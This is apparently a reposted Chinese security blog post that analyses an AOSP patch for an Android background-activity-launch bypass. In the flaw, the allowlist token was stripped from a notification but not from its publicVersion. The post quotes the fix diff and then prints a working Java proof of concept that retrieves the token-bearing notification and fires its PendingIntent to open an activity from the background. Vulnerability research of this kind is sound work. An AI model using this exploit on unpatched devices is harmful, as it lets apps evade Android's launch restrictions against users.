BAL: 利用notification实现后台打开activity

admin 2024年5月13日00:51:19评论120 views字数 4930阅读16分26秒阅读模式

学习漏洞的最直接方法就是分析patch。因此,最近写了一个脚本,爬取aosp所有的commit日志以及相关变更代码的patch。

漏洞成因分析

BAL: 利用notification实现后台打开activity

在根据关键字" BAL "搜索commit日志时,发现以下一个文件:

Fix BAL via notification.publicVersion

We stripped the token that allows app to retrieve their own notification
and fire their own PI to launch activities from background. But we
forgot to strip the token from notification.publicVersion

Bug: 278558814
Test: NotificationManagerTest#testActivityStartFromRetrievedNotification_isBlocked
Merged-In: I8f25d7a5e47890a0496af023149717e1df482f98
Change-Id: I8f25d7a5e47890a0496af023149717e1df482f98
diff --git a/core/java/android/app/Notification.java b/core/java/android/app/Notification.java
index 2eb6ca7..b4e1169 100644
--- a/core/java/android/app/Notification.java
+++ b/core/java/android/app/Notification.java
@@ -3476,8 +3476,11 @@
      *
      * @hide
      */
- public void setAllowlistToken(@Nullable IBinder token) {
- mAllowlistToken = token;
+ public void clearAllowlistToken() {
+ mAllowlistToken = null;
+ if (publicVersion != null) {
+ publicVersion.clearAllowlistToken();
+ }
     }
 
     /**
diff --git a/services/core/java/com/android/server/notification/NotificationManagerService.java b/services/core/java/com/android/server/notification/NotificationManagerService.java
index 488745c..5e3b3bb 100644
--- a/services/core/java/com/android/server/notification/NotificationManagerService.java
+++ b/services/core/java/com/android/server/notification/NotificationManagerService.java
@@ -4442,7 +4442,7 @@
                     // Remove background token before returning notification to untrusted app, this
                     // ensures the app isn't able to perform background operations that are
                     // associated with notification interactions.
- notification.setAllowlistToken(null);
+ notification.clearAllowlistToken();
                     return new StatusBarNotification(
                             sbn.getPackageName(),
                             sbn.getOpPkg(),

我们结合Notification类的定义看看

public class Notification implements Parcelable
{
    ...

    public Notification publicVersion;
    private IBinder mAllowlistToken;
    
    ...
}

publicVersion其实嵌套在notification实例中的另一个notification

漏洞的成因在commit中也直接说明了:

We stripped the token that allows app to retrieve their own notificationand fire their own PI to launch activities from background. But weforgot to strip the token from notification.publicVersion

清空了notification的mAllowlistToken,而没有清空publicVersion的mAllowlistToken。而且可以app自己给自己发送notification,实现BAL。

明白了成因,开始构造poc。

poc构造

为了演示在后台打开activity的效果,创建了一个receiver

public static void testNotificationService(Context ctx) {

    class MyReceiver extends BroadcastReceiver {

        @Override
        public void onReceive(Context context, Intent intent) {
            NotificationManager manager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);

            StatusBarNotification[] activeNotifications = manager.getActiveNotifications();
            for (StatusBarNotification statusBarNotification: activeNotifications) {

                Notification notification = statusBarNotification.getNotification();
                Notification n = notification.publicVersion;
                PendingIntent pendingIntent = n.contentIntent;
                System.out.println(statusBarNotification.toString());
                try {
                    ActivityOptions options = ActivityOptions.makeBasic();
                    options.setPendingIntentBackgroundActivityLaunchAllowed(true);

                    Thread.sleep(10000);

                    pendingIntent.send(ctx, 0, new Intent(), null, null, null, options.toBundle());

                } catch (PendingIntent.CanceledException | InterruptedException e) {
                    throw new RuntimeException(e);
                }
            }
        }
    }

    IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
    ctx.registerReceiver(new MyReceiver(), filter);


    NotificationManager manager = (NotificationManager) ctx.getSystemService(Context.NOTIFICATION_SERVICE);
    Notification.Builder notification = new Notification.Builder(ctx);

    manager.createNotificationChannel(
            new NotificationChannel(
                    "channel",
                    "publicVersion" /* notification channel name */,
                    NotificationManager.IMPORTANCE_DEFAULT));

    Intent notifyIntent = new Intent(ctx, FGService.class);
    notifyIntent.setFlags(notifyIntent.getFlags() | Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT | Intent.FLAG_ACTIVITY_REORDER_TO_FRONT | Intent.FLAG_ACTIVITY_TASK_ON_HOME);
    PendingIntent notifyPendingIntent = PendingIntent.getService(
            ctx, 0, notifyIntent,
            PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE
    );
    notification.setContentIntent(notifyPendingIntent);


    Notification.Builder builder = new Notification.Builder(ctx, "channel");
    builder.setContentIntent(notifyPendingIntent);

    builder.setPublicVersion(notification.build()).setSmallIcon(Icon.createWithData(new byte[0], 0,0)).setShortcutId("publicVersion").build();

    manager.notify(0, builder.build());

验证效果

BAL: 利用notification实现后台打开activity

原文始发于微信公众号(大山子雪人):BAL: 利用notification实现后台打开activity

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日00:51:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   BAL: 利用notification实现后台打开activityhttps://cn-sec.com/archives/2733684.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息